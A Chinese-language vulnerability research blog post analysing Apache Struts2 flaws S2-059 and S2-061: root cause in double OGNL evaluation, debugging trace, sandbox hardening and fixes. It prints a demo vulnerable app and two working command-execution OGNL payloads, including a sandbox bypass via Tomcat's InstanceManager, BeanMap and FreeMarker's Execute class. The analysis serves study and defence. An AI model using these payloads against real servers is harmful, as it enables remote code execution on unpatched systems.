关于<旧文系列>
<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31
前言
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015
[旧文系列] Struts2历史高危漏洞系列-part4:S2-016/S2-032/S2-045
[旧文系列] Struts2历史高危漏洞系列-part5:S2-052/S2-053/S2-057
S2-059
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-059
影响版本:Struts 2.0.0 - Struts 2.5.20
漏洞复现与分析
从漏洞公告可获悉,该漏洞的场景是:当Struts2的标签属性值引用了action对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险。
注:虽然官方漏洞公告里说该漏洞影响到
2.5.20
版本,但实际上公开的用于2.5.16
版本的命令执行的PoC在2.5.20
版本则失效。原因后面会说到。
下面使用Struts2 2.5.16
版本进行复现、分析和调试。构造一个符合条件的应用,关键代码如下:
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>S2-059 demo</title>
</head>
<body>
<s:a id="%{id}">your input id: ${id}
<br>has ben evaluated again in id attribute
</s:a>
</body>
</html>
struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.devMode" value="false"/>
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="index"/>
<action name="index" class="org.pwntester.action.IndexAction" method="changeId">
<result>index.jsp</result>
</action>
</package>
</struts>
IndexAction.java
public class IndexAction extends ActionSupport {
private String id;
public IndexAction() {}
public String changeId() {
return "success";
}
public String getId() {
return this.id;
}
public void setId(String id) {
this.id = id;
}
}
我们根据漏洞公告中的示例,使用<s:a>
标签,并在标签中使用id
属性来引用action中的参数值。
因此我们可以将断点下在<s:a>
对应的标签类AnchorTag
的doStartTag()
方法中(实际调用的是父类方法ComponentTagSupport#doStartTag()
),然后进行调试。
跟进AnchorTag#populateParams()
方法,在其父类AbstractUITag#populateParams()
方法中发现调用Anchor#setId()
对id
属性进行设置。
跟进Anchor#setId()
,Anchor
会调用父类方法Component#findValue()
,在该方法中,如果altSyntax
特性是开启的(altSyntax
默认开启),且id
属性的值是一个符合%{}
形式的表达式的情况下,会调用我们熟悉的TextParseUtil.translateVariables()
进行OGNL表达式求值,求值的过程就是从IndexAction
对象中通过getter
方法来获取其id
属性的值,即我们传入的id
参数的值。
到此,<s:a id=%{id}>
标签的id
属性就被赋值好了,即第一次的OGNL表达式求值就完成了。
再次回到ComponentTagSupport#doStartTag()
方法中继续跟进,发现调用Anchor#start()
方法,跟进该方法。一直跟进,发现在UIBean#populateComponentHtmlId()
方法中,调用Component#findStringIfAltSyntax()
对Anchor
对象的id
属性值进行处理,如下图:
跟进去,发现最终在Component#findValue()
方法中又看到了熟悉的TextParseUtil.translateVariables()
。跟到这里就是第二次OGNL表达式求值,如下图:
可回显PoC
在Struts2 2.5.16
版本,直接使用S2-057的PoC便可,但最前面的$
符号要改为%
。同样是发送两次请求。
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
接着说一下为什么该命令执行PoC在Struts2 2.5.20版本中失效。
1、Struts2 2.5.20的类和包名的黑名单扩充了,如下:
其中增加了包名com.opensymphony.xwork2.ognl
,导致无法通过#request['struts.valueStack'].context
或#attr['struts.valueStack'].context
来获取上下文对象。因为OgnlRuntime#getFieldValue()
方法中有引入沙盒保护,会禁止黑名单里的类的对象去获取成员属性。
2、OgnlRuntime#getStaticField()方法也引入了Struts2的沙盒保护
Struts2 2.5.16
版本所依赖的ognl库的版本为3.1.15
,Struts2 2.5.20
版本依赖的ognl库的版本为3.1.21
。在ognl-3.1.21
的类OgnlRuntime#getStaticField()
中也引入了Struts2的沙盒进行保护,禁止黑名单类去获取静态属性,关键代码如下:
这将导致无法通过表达式@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
获取OgnlContext
类的静态属性DEFAULT_MEMBER_ACCESS
。
漏洞修复
Struts2 2.5.22
版本并没有对漏洞点进行修复,而是在2.5.20
版本的基础上再次扩充了类/包名黑名单。另外,还使用了更新版本的依赖库ognl-3.1.26
,在该版本中,增加了Strict
模式,如果使用该模式,OgnlRuntime#invokeMethod()
方法就会校验当前调用的类,禁止常见危险的类调用方法。
S2-061
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-061
影响版本:Struts 2.0.0 - Struts 2.5.25
漏洞复现与分析
该漏洞是S2-059的绕过。前面分析S2-059时说过,从2.5.20
版本开始,随着安全沙盒的增强,使得在2.5.20
之后,利用OGNL表达式进行远程代码执行受到了很大的限制,并无公开的沙盒绕过的利用,直到S2-061细节的披露。
因此漏洞原理和S2-059是一样的。下面来看看已公开的命令执行PoC是如何绕过沙盒的。
可回显PoC
由于沙盒的增强,我们无法像之前一样轻易的获取上下文对象context
:
OgnlContext
删除了CONTEXT_CONTEXT_KEY
这个key,故无法通过OgnlContext#get()
方法,即通过#context
获取上下文对象;- 包名黑名单中包含
com.opensymphony.xwork2.ognl.
,故无法通过#request['struts.valueStack'].context
或attr['struts.valueStack'].context
获取上下文对象; - 包名黑名单中包含
ognl.
,且OgnlRuntime
类引入了沙盒保护,因此即使获得上下文对象context
,也无法通过OGNL表达式直接操作它的属性和方法,只能通过间接的方式。
因此只能通过调试看看上下文对象OgnlContext
中还有什么其他可利用的对象,来间接获取上下文对象。这里使用#application
来获取OgnlContext
内部Map
集合中的ApplicationMap
对象。ApplicationMap
内部存放了整个应用实例的一些对象,比如这里通过键org.apache.tomcat.InstanceManager
来获取Tomcat中的DefaultInstanceManager
对象。
可使用DefaultInstanceManager#newInstance()
方法,指定类名,来实例化任意对象,但前提是指定的类需要有无参构造方法。
然后使用该方法来创建类org.apache.commons.collections.BeanMap
的实例对象,然后通过BeanMap
的setBean/get
方法来间接获取上下文对象context
。
以下是BeanMap#setBean()
方法的实现。它会获取指定bean对应的类的所有读写(setter/getter)方法,并保存在内部的HashMap
集合中。另外,每次调用setBean()
方法,原本存放读写(setter/getter)方法的内部HashMap
集合都会被清空。
而BeanMap#get()
则是获取当前bean
的指定的getter方法。
便可使用以下表达式获取上下文对象context
:
(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context'))
然后使用同样的方式来获取上下文context
对象中的安全管理器对象SecurityMemberAccess
,即安全沙盒的主要实现类。并使用BeanMap#put()
方法实现黑名单的置空操作。即:
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset))
到此,便实现了绕过沙盒,获取了上下文对象context
,并将沙盒的黑名单指向了一个空的集合。剩下要做的便是执行命令。前面提到过,从ognl从3.1.26
版本开始,增加了Strict
模式,且是默认启用的。在该模式下,OgnlRuntime#invokeMethod()
方法还将java.lang.Runtime
和java.lang.ProcessBuilder
这两类给ban掉了。这就意味着即使前面绕过了沙盒,最终还是无法在表达式中直接调用这两个类的方法去执行命令。只能通过间接的方式,比如其他某个类的某个方法,里面调用了Runtime#exec()
或ProcessBuilder#start()
,且命令参数可控。
S2-061的报告者,知名的安全研究员@pwntester给出了一种方法,就是通过调用freemarker中的freemarker.template.utility.Execute#exec()
实现命令执行。
估计是他在研究FreeMarker模板注入漏洞及沙盒绕过的时候想到的。详见他的Blackhat议题:<Room for Escape: Scribbling Outside the Lines of Template Security>(
参考[6]
)
最终可得:
%{
(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context')).
(#bean.setBean(#context)).
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset)).
(#arglist=#instancemanager.newInstance('java.util.ArrayList')).
(#arglist.add('id')).
(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).
(#execute.exec(#arglist))}
漏洞修复
通过版本比对,Struts2在2.5.26
版本,不仅修复了漏洞触发点,还扩充了包名黑名单以增强沙盒。
1、修改了UIBean#setId()
,从而避免OGNL表达式二次解析。
2、在包名黑名单中添加了属于各种中间件(如:Tomcat、JBoss、Weblogic、Jetty、Websphere)的包名。
小结
以上,Struts2的高危漏洞分析系列就暂告一段落了。
在这个过程中,不仅提升我的Java漏洞调试能力,积累了经验,同时看到了安全研究人员和程序员之间的攻防博弈,还是蛮有意思的。
一开始我提到,尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。
Struts2的绝大部分高危漏洞,都是由于不安全的OGNL表达式执行。
OGNL表达式引擎,是Struts2为了解决在MVC模式中,数据在各层间的表现形式不同而造成数据流转和访问的问题而引入的。它可以构建表达式和Java对象之间的映射关系,且具有丰富多样的表达式语法计算。它非常强大和灵活。但往往功能强大灵活的同时就会带来安全问题,因为OGNL表达式可以操作Java对象和其成员。另外,通过分析这一系列的漏洞,就可以发现,OGNL表达式求值是贯穿在整个Struts2框架中的,非常的多地方有用到,比如拦截器、标签库、返回对象Result、异常信息等。所以漏洞触发点就会有很多。因此,在这些漏洞的修复方案里,不仅有在上层代码进行相关入参的安全过滤(比如正则白名单),还有沙盒的引入以限制命令执行的漏洞利用。但随着一次又一次的被绕过,沙盒也越来越强,即限制越来越多,绕过的难度越来越大。得依靠一些依赖包里的对象去实现,就像S2-061的代码执行,就是通过Tomcat里的DefaultInstanceManage
和Freemarker里的freemarker.template.utility.Execute
来实现的,也因此新的黑名单里增加了各类Java中间件的常见包名。往后的沙盒绕过就更难了。
另外,对于Struts2漏洞这种sink比较固定的情况下,很适合使用CodeQL来自动化挖掘漏洞触发链。Github安全实验室博客就有好几篇讲到使用CodeQL挖掘Struts2漏洞的文章。后面有时间的话我也会分享CodeQL相关的内容。
Reference
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf